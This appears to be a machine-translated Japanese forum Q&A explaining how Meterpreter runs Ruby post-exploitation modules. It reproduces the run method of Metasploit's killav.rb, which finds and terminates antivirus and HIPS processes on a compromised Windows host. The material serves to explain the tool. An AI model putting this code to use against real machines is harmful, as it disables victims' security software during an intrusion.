Meterpreterをしばらく使用していますが、まだそれはまだ慣れていません。質問の1つは、モジュールの読み込みがどのように機能するかです。
Metasploitの使用方法をまだ学習しているので間違っている場合は修正してください。ただし、私の知る限り、killav.rb
などのMeterpreterにロードできるモジュールはRubyで記述されています。このモジュールはMeterpreterにロードされて実行されることになっています。
Rubyインタプリタがシステムに存在しない場合、Rubyスクリプトはどのように実行されますか?質問が基本的なように聞こえる場合、または私が知っていることが間違っている場合、申し訳ありませんMetasploitを使い始めたばかりです。
基本的な理解から始めましょう。meterpreterを入手したら、エクスプロイト後のアクティビティを実行するmetasploitのモジュールにアクセスできます。ここで、開始するすべてのアクティビティでkillav.rbを実行します。このファイルのコードは、あなたが持っているmetasploit meterpreterモジュールと相互作用しており、RailGunを使用しています。 Railgunは、Windows Meterpreter専用の非常に強力なポストエクスプロイト機能です。これにより、ターゲットマシンのWindows APIを完全に制御できます。命令をターゲットシステムに渡します。 killav.rbのコードを説明します
def run
avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
'***av_hips_executables.txt***')).strip
avs = Set.new(avs.split("\n"))
processes_found = 0
processes_killed = 0
client.sys.process.get_processes().each do |x|
next if skip_process_name?(x['name'].downcase)
vprint_status("Checking #{x['name'].downcase} ...")
if avs.include?(x['name'].downcase)
processes_found += 1
print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
begin
client.sys.process.kill(x['pid'])
processes_killed += 1
print_good("#{x['name']} terminated.")
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
end
end
end
Av_hips_executables.txtに気付いた場合
(注:このファイルはmetasploitアプリの場所/usr/share/metasploit-framework/data/wordlists/av_hips_executables.txtにもあります)
そのファイルには、実行中のアンチウイルスに関連付けられているすべての既知の実行可能ファイルのリストが含まれています。その後のコードは、PIDを検出してPIDを強制終了するためのものです。そして、すべてがmeterpreter APIを介して渡されるためです。 Rubyがあるかどうかに関係なく、クライアント側には依存しません。
このコードは実際にはリモートホストで実行されません。 Rubyモジュールはお使いのマシンで実行され、Metasploit apiを使用して反対側でコードを実行します。Metasploitapiには、rpc呼び出し(railgunと呼ばれる)としてマップされた多くのWindows APIがあります。 cppには、Rubyコンポーネントまたは埋め込みはありません。詳細については、こちらをご覧ください: Railgun for Windowsポストエクスプロイトの使用方法 。